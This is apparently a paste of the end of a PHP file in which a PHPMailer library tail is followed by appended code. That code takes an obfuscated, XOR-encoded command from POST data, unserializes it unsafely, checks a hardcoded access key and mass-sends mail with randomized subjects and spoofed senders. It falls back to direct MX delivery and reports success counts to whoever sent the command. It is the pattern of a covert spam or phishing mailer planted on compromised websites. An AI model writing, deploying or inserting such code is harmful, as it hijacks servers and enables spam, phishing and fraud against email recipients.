  2656. "\tbh=" . $DKIMb64 . ";\r\n" .
  2657. "\tb=";
  2658. $toSign = $this->DKIM_HeaderC(
  2659. $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2660. );
  2661. $signed = $this->DKIM_Sign($toSign);
  2662. return $dkimhdrs . $signed . "\r\n";
  2663. }
  2664. public function getToAddresses()
  2665. {
  2666. return $this->to;
  2667. }
  2668.  
  2669. public function getCcAddresses()
  2670. {
  2671. return $this->cc;
  2672. }
  2673.  
  2674. public function getBccAddresses()
  2675. {
  2676. return $this->bcc;
  2677. }
  2678.  
  2679. public function getReplyToAddresses()
  2680. {
  2681. return $this->ReplyTo;
  2682. }
  2683.  
  2684. public function getAllRecipientAddresses()
  2685. {
  2686. return $this->all_recipients;
  2687. }
  2688.  
  2689. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2690. {
  2691. if (!empty($this->action_function) && is_callable($this->action_function)) {
  2692. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2693. call_user_func_array($this->action_function, $params);
  2694. }
  2695. }
  2696. }
  2697. class phpmailerException extends Exception
  2698. {
  2699. public function errorMessage()
  2700. {
  2701. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2702. return $errorMsg;
  2703. }
  2704. }
  2705.  
  2706. /////////////////////////////////////////////////////////////////
  2707. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
  2708. {
  2709. $mail = new PHPMailer();
  2710. $mail->isMail();
  2711. $mail->CharSet = 'utf-8';
  2712. $mail->SetFrom($from_email, $from_name);
  2713. $mail->AddAddress($to);
  2714. $mail->Subject = $subject;
  2715.  
  2716. if ($type == "1")
  2717. {
  2718. $mail->MsgHTML($body);
  2719. }
  2720. elseif ($type == "2")
  2721. {
  2722. $mail->isHTML(false);
  2723. $mail->Body = $body;
  2724. }
  2725.  
  2726. if (isset($_FILES))
  2727. {
  2728. foreach($_FILES as $key => $file)
  2729. {
  2730. $mail->addAttachment($file['tmp_name'], $file['name']);
  2731. }
  2732. }
  2733.  
  2734. if (!$mail->send())
  2735. {
  2736. $to_domain = explode("@", $to);
  2737. $to_domain = $to_domain[1];
  2738. $mail->IsSMTP();
  2739. $mail->Host = mx_lookup($to_domain);
  2740. $mail->Port = 25;
  2741. $mail->SMTPAuth = false;
  2742. if (!$mail->send())
  2743. {
  2744. return Array(0, $mail->ErrorInfo);
  2745. }
  2746. else
  2747. {
  2748. return Array(2, 0);
  2749. }
  2750. }
  2751. else
  2752. {
  2753. return Array(1, 0);
  2754. }
  2755. }
  2756.  
  2757. function mx_lookup($hostname)
  2758. {
  2759. @getmxrr($hostname, $mxhosts, $precedence);
  2760. if(count($mxhosts) === 0) return '127.0.0.1';
  2761. $position = array_keys($precedence, min($precedence));
  2762. return $mxhosts[$position[0]];
  2763. }
  2764. function myhex2bin( $str ) {
  2765. $sbin = "";
  2766. $len = strlen( $str );
  2767. for ( $i = 0; $i < $len; $i += 2 ) {
  2768. $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  2769. }
  2770. return $sbin;
  2771. }
  2772.  
  2773. function b64d($input) {
  2774. $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  2775. $chr1 = $chr2 = $chr3 = "";
  2776. $enc1 = $enc2 = $enc3 = $enc4 = "";
  2777. $i = 0;
  2778. $output = "";
  2779.  
  2780. $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
  2781. do {
  2782. $enc1 = strpos($keyStr, substr($input, $i++, 1));
  2783. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  2784. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  2785. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  2786. $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  2787. $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  2788. $chr3 = (($enc3 & 3) << 6) | $enc4;
  2789. $output = $output . chr((int) $chr1);
  2790. if ($enc3 != 64) {
  2791. $output = $output . chr((int) $chr2);
  2792. }
  2793. if ($enc4 != 64) {
  2794. $output = $output . chr((int) $chr3);
  2795. }
  2796. $chr1 = $chr2 = $chr3 = "";
  2797. $enc1 = $enc2 = $enc3 = $enc4 = "";
  2798. } while ($i < strlen($input));
  2799. return $output;
  2800. }
  2801.  
  2802. function decode($data, $key)
  2803. {
  2804. $out_data = "";
  2805. for ($i=0; $i<strlen($data);)
  2806. {
  2807. for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  2808. {
  2809. $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  2810. }
  2811. }
  2812. return $out_data;
  2813. }
  2814. function type1_send($config)
  2815. {
  2816. $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2817.  
  2818. $data = b64d($config);
  2819. $data = decode($data, $key);
  2820. $data = @unserialize($data);
  2821. if (!$data || !isset($data['ak']))
  2822. {
  2823. return FALSE;
  2824. }
  2825. if ($data['ak'] != "7793a2e7-7966-497e-aba1-d7e31cc03623")
  2826. {
  2827. exit();
  2828. }
  2829. if (isset($data['c']))
  2830. {
  2831. $res["r"]["c"] = $data['c'];
  2832. return serialize($res);
  2833. }
  2834. $good = 0;
  2835. $bad = 0;
  2836. $last_error = Array(0, 0);
  2837. foreach ($data['e'] as $uid=>$email)
  2838. {
  2839. $theme = $data['s'][array_rand($data['s'])];
  2840. $theme = alter_macros($theme);
  2841. $theme = num_macros($theme);
  2842. $theme = xnum_macros($theme);
  2843. $message = $data['l'];
  2844. $message = alter_macros($message);
  2845. $message = num_macros($message);
  2846. $message = xnum_macros($message);
  2847. $message = fteil_macros($message, $uid);
  2848. $from = $data['f'][array_rand($data['f'])];
  2849. $from = alter_macros($from);
  2850. $from = num_macros($from);
  2851. $from = xnum_macros($from);
  2852.  
  2853. if (strstr($from, "[CUSTOM]") == FALSE)
  2854. {
  2855. $from = from_host($from);
  2856. }
  2857. else
  2858. {
  2859. $from = str_replace("[CUSTOM]", "", $from);
  2860. }
  2861.  
  2862. $from_email = explode("<", $from);
  2863. $from_email = explode(">", $from_email[1]);
  2864. $from_name = explode("\"", $from);
  2865. $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);
  2866.  
  2867. if ($last_error[1] === 0)
  2868. {
  2869. $good++;
  2870. }
  2871. else
  2872. {
  2873. $bad++;
  2874. $good = count($data['e']) - $bad;
  2875. }
  2876. }
  2877.  
  2878. $res["r"]["t"] = $last_error[0];
  2879. $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2880. $res["r"]["g"] = $good;
  2881. $res["r"]["b"] = $bad;
  2882.  
  2883. return serialize($res);
  2884. }
  2885.  
  2886. $config = array_values($_POST);
  2887. $res = type1_send($config[0]);
  2888. if ($res) {
  2889. echo $res;
  2890. }
  2891.  
  2892. exit();
Add Comment
Please, Sign In to add comment